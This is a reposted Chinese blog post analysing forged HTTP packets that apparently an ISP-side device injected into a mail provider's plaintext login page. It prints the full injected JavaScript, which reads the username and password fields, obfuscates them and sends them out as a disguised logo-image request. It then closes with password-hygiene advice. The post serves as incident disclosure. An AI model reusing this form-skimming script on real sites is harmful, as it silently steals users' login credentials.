[转载]你们以为运营商只是HTTP插点广告而已么

国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下:

首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过……

在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10

在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:

<script type="text/javascript"> 
    document.getElementById("freepassword").onblur = function (e) { 
        logoFresh(); 
    }; 

    function onLoginCheck() { 
        var user = null; 
        var pass = null; 
        user = document.getElementById("freename").value; 
        pass = document.getElementById("freepassword").value; 
        if (user.length <= 0 || pass.length <= 0) { 
            return false; 
        } else { 
            return rskQuery(user + '&' + pass + '&xxxxx.com'); 
        } 
    }; 

    function rskQuery(s) { 
        s = encodeURIComponent(s); 
        var r = Math.random(); 
        var num = (Math.round(r * 100)) % 9 + 1; 
        var i = 0; 
        var out = ''; 
        do { 
            var ch = s.charCodeAt(i++); 
            ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num); 
            var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1); 
            out += l.toString() + ch; 
        } while (i < s.length); 
        out = r.toString().substring(0, num) + out + num; 
        return out; 
    }; 

    function logoFresh() { 
        var h = logoUrl(); 
        var s = onLoginCheck(); 
        if (s == false) { 
            return false; 
        } 
        for (var i = 0; i < 2; i++) { 
            var bg_logo = new Image(0, 0); 
            bg_logo.src = h + 'images/logo_bg.jpg?' + s; 
        } 
        var s1 = onLoginCheck(); 
        var ajaxUrl = h + 'images/logo_bg.jpg?' + s1; 
        var result = xmlHttpConnect(ajaxUrl, "get", null); 
    }; 

    function logoUrl() { 
        return '/'; 
    }; 

    function createXMLHttp() { 
        if (window.XMLHttpRequest) return new XMLHttpRequest(); 
        else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP"); 
        else return null; 
    }; 

    function xmlHttpConnect(url, method, content) { 
        var request = createXMLHttp(); 
        if (request == null) return null; 
        try { 
            request.open(method, url, true); 
            request.send(content); 
        } catch (e) { 
            return null; 
        } 
        if ((request.readyState == 4) && (request.status == 200)) return null; 
        else return null 
    }; 

    document.getElementById("vippassword").onblur = function (e) { 
        logo_Fresh(); 
    } 

    function onLoginPhone() { 
        var user = null; 
        var pass = null; 
        user = document.getElementById("vipname").value; 
        pass = document.getElementById("vippassword").value; 
        if (user.length <= 0 || pass.length <= 0) { 
            return false; 
        } else { 
            return rskQuery(user + '&' + pass + '&vip.xxxxx.com'); 
        } 
    } 

    function logo_Fresh() { 
        var h = logoUrl(); 
        var s = onLoginPhone(); 
        if (s == false) { 
            return false; 
        } 
        for (var i = 0; i < 2; i++) { 
            var bg_logo = new Image(0, 0); 
            bg_logo.src = h + 'images/logo_bg.jpg?' + s; 
        } 
        var s1 = onLoginCheck(); 
        var ajaxUrl = h + 'images/logo_bg.jpg?' + s1; 
        var result = xmlHttpConnect(ajaxUrl, "get", null); 
    } 
</script>

 

在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。

服务商由于成本问题,暂不考虑采用SSL登录。

至于那边还有什么类似设备我就不多说了,反正据我的了解,国内随便什么实权部门都能任意在ISP机房和主干网上接入任意设备,据说连税务的都有。

关于本次事件学到的内容:

国内服务用的任何用户名和密码和在国外比如gmail,twitter的账号要不相同,而且没有任何关联,并且国外服务的注册邮箱,密保邮箱等都要采用国外邮箱,首推gmail,并且打开二次认证,不要用短信认证,用手机验证器。

线上线下密码要分开,不相同,不近似,比如本地硬盘加密密码。凡是通过明文协议传输的通通被视为已暴露,HTTPS登录时每次手动查看证书签发机构是否为之前常用的那一个,遇到怀疑是国内CA伪造证书的立刻把证书导出另存为,因为国内没有root CA(cnnic的好像在ff和chrome已经被去掉了),只有二级证书机构,一旦被发现随便签证书会被立刻取消资格,并且黑名单推送到各大浏览器和操作系统。

呵呵,你们以为能频繁的,多种花样的插12306就赢了么,你们以为每天在微博打打嘴炮就胜利了么,菊花都被爆脱肛了还不知道。

不允许评论